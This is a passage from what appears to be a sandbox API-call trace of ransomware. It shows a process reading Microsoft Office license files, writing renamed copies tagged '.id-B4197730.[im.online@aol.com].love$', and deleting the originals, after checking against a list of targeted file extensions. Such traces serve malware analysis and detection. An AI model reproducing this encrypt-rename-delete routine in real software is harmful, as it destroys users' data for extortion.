(lpString=".zip") returned 4 [0261.404] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0261.405] lstrlenW (lpString=".rar") returned 4 [0261.405] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0261.405] lstrlenW (lpString=".bz2") returned 4 [0261.405] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0261.405] lstrlenW (lpString=".7z") returned 3 [0261.405] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0261.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0261.405] lstrlenW (lpString=".dbf") returned 4 [0261.405] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0261.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0261.405] lstrlenW (lpString=".1cd") returned 4 [0261.405] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0261.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0261.405] lstrlenW (lpString=".jpg") returned 4 [0261.405] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0261.405] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0261.405] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 36 [0261.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0261.985] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=10679) returned 1 [0261.985] CloseHandle (hObject=0x574) returned 1 [0261.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 0x220 [0261.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.344] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0262.345] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0262.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.347] GetLastError () returned 0x0 [0262.347] ReadFile (in: hFile=0x4c8, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x29b7, lpOverlapped=0x0) returned 1 [0262.352] WriteFile (in: hFile=0x42c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x29c0, lpOverlapped=0x0) returned 1 [0262.353] ReadFile (in: hFile=0x4c8, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0262.354] WriteFile (in: hFile=0x42c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11c, lpOverlapped=0x0) returned 1 [0262.354] SetEndOfFile (hFile=0x42c) returned 1 [0262.354] CloseHandle (hObject=0x42c) returned 1 [0262.354] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0262.354] SetEndOfFile (hFile=0x4c8) returned 1 [0262.359] CloseHandle (hObject=0x4c8) returned 1 [0262.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 1 [0262.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0262.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0262.361] lstrlenW (lpString=".doc") returned 4 [0262.361] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0262.361] lstrlenW (lpString=".docx") returned 5 [0262.361] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0262.361] lstrlenW (lpString=".pdf") returned 4 [0262.361] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0262.361] lstrlenW (lpString=".xls") returned 4 [0262.361] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0262.362] lstrlenW (lpString=".xlsx") returned 5 [0262.362] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0262.362] lstrlenW (lpString=".ppt") returned 4 [0262.362] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0262.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0262.362] lstrlenW (lpString=".zip") returned 4 [0262.362] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0262.362] lstrlenW (lpString=".rar") returned 4 [0262.362] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0262.362] lstrlenW (lpString=".bz2") returned 4 [0262.362] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0262.362] lstrlenW (lpString=".7z") returned 3 [0262.362] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0262.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0262.362] lstrlenW (lpString=".dbf") returned 4 [0262.362] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0262.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0262.362] lstrlenW (lpString=".1cd") returned 4 [0262.362] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0262.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0262.362] lstrlenW (lpString=".jpg") returned 4 [0262.362] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0262.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0262.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0262.362] lstrlenW (lpString=".doc") returned 4 [0262.362] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0262.363] lstrlenW (lpString=".docx") returned 5 [0262.363] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0262.363] lstrlenW (lpString=".pdf") returned 4 [0262.363] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0262.363] lstrlenW (lpString=".xls") returned 4 [0262.363] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0262.363] lstrlenW (lpString=".xlsx") returned 5 [0262.363] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0262.363] lstrlenW (lpString=".ppt") returned 4 [0262.363] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0262.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0262.363] lstrlenW (lpString=".zip") returned 4 [0262.363] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0262.363] lstrlenW (lpString=".rar") returned 4 [0262.363] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0262.363] lstrlenW (lpString=".bz2") returned 4 [0262.363] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0262.363] lstrlenW (lpString=".7z") returned 3 [0262.363] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0262.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0262.363] lstrlenW (lpString=".dbf") returned 4 [0262.363] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0262.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0262.363] lstrlenW (lpString=".1cd") returned 4 [0262.363] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0262.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0262.364] lstrlenW (lpString=".jpg") returned 4 [0262.364] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0262.364] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0262.364] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 36 [0262.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.365] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=19962) returned 1 [0262.365] CloseHandle (hObject=0x4c8) returned 1 [0262.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0262.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.366] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0262.366] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0262.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.370] GetLastError () returned 0x0 [0262.370] ReadFile (in: hFile=0x4c8, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x4dfa, lpOverlapped=0x0) returned 1 [0262.373] WriteFile (in: hFile=0x42c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x4e00, lpOverlapped=0x0) returned 1 [0262.375] ReadFile (in: hFile=0x4c8, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0262.375] WriteFile (in: hFile=0x42c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11c, lpOverlapped=0x0) returned 1 [0262.375] SetEndOfFile (hFile=0x42c) returned 1 [0262.375] CloseHandle (hObject=0x42c) returned 1 [0262.375] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0262.375] SetEndOfFile (hFile=0x4c8) returned 1 [0262.380] CloseHandle (hObject=0x4c8) returned 1 [0262.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0262.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0262.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0262.382] lstrlenW (lpString=".doc") returned 4 [0262.382] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0262.382] lstrlenW (lpString=".docx") returned 5 [0262.382] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0262.382] lstrlenW (lpString=".pdf") returned 4 [0262.382] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0262.382] lstrlenW (lpString=".xls") returned 4 [0262.382] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0262.382] lstrlenW (lpString=".xlsx") returned 5 [0262.382] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0262.382] lstrlenW (lpString=".ppt") returned 4 [0262.382] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0262.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0262.383] lstrlenW (lpString=".zip") returned 4 [0262.383] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0262.383] lstrlenW (lpString=".rar") returned 4 [0262.383] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0262.383] lstrlenW (lpString=".bz2") returned 4 [0262.383] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0262.383] lstrlenW (lpString=".7z") returned 3 [0262.383] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0262.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0262.383] lstrlenW (lpString=".dbf") returned 4 [0262.383] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0262.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0262.383] lstrlenW (lpString=".1cd") returned 4 [0262.383] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0262.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0262.383] lstrlenW (lpString=".jpg") returned 4 [0262.383] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0262.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0262.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0262.383] lstrlenW (lpString=".doc") returned 4 [0262.383] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0262.383] lstrlenW (lpString=".docx") returned 5 [0262.383] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0262.384] lstrlenW (lpString=".pdf") returned 4 [0262.384] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0262.384] lstrlenW (lpString=".xls") returned 4 [0262.384] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0262.384] lstrlenW (lpString=".xlsx") returned 5 [0262.384] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0262.384] lstrlenW (lpString=".ppt") returned 4 [0262.384] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0262.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0262.384] lstrlenW (lpString=".zip") returned 4 [0262.384] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0262.384] lstrlenW (lpString=".rar") returned 4 [0262.384] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0262.384] lstrlenW (lpString=".bz2") returned 4 [0262.384] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0262.637] lstrlenW (lpString=".7z") returned 3 [0262.637] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0262.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0262.637] lstrlenW (lpString=".dbf") returned 4 [0262.637] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0262.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0262.637] lstrlenW (lpString=".1cd") returned 4 [0262.637] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0262.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0262.637] lstrlenW (lpString=".jpg") returned 4 [0262.637] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0262.638] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0262.638] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 33 [0262.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0262.925] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=10667) returned 1 [0262.925] CloseHandle (hObject=0x534) returned 1 [0262.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 0x220 [0263.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0263.248] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.248] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0263.250] GetLastError () returned 0x0 [0263.250] ReadFile (in: hFile=0x574, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x29ab, lpOverlapped=0x0) returned 1 [0263.300] WriteFile (in: hFile=0x56c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x29b0, lpOverlapped=0x0) returned 1 [0263.302] ReadFile (in: hFile=0x574, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0263.302] WriteFile (in: hFile=0x56c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x116, lpOverlapped=0x0) returned 1 [0263.302] SetEndOfFile (hFile=0x56c) returned 1 [0263.302] CloseHandle (hObject=0x56c) returned 1 [0263.302] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.302] SetEndOfFile (hFile=0x574) returned 1 [0263.307] CloseHandle (hObject=0x574) returned 1 [0263.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 1 [0263.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0263.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0263.310] lstrlenW (lpString=".doc") returned 4 [0263.310] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.310] lstrlenW (lpString=".docx") returned 5 [0263.310] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.310] lstrlenW (lpString=".pdf") returned 4 [0263.310] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.310] lstrlenW (lpString=".xls") returned 4 [0263.310] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.310] lstrlenW (lpString=".xlsx") returned 5 [0263.310] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.310] lstrlenW (lpString=".ppt") returned 4 [0263.310] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0263.310] lstrlenW (lpString=".zip") returned 4 [0263.310] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.311] lstrlenW (lpString=".rar") returned 4 [0263.311] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.311] lstrlenW (lpString=".bz2") returned 4 [0263.311] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.311] lstrlenW (lpString=".7z") returned 3 [0263.311] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0263.311] lstrlenW (lpString=".dbf") returned 4 [0263.311] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0263.311] lstrlenW (lpString=".1cd") returned 4 [0263.311] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0263.311] lstrlenW (lpString=".jpg") returned 4 [0263.311] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.311] lstrlenW (lpString="C:\\Program Files\\Microsoft 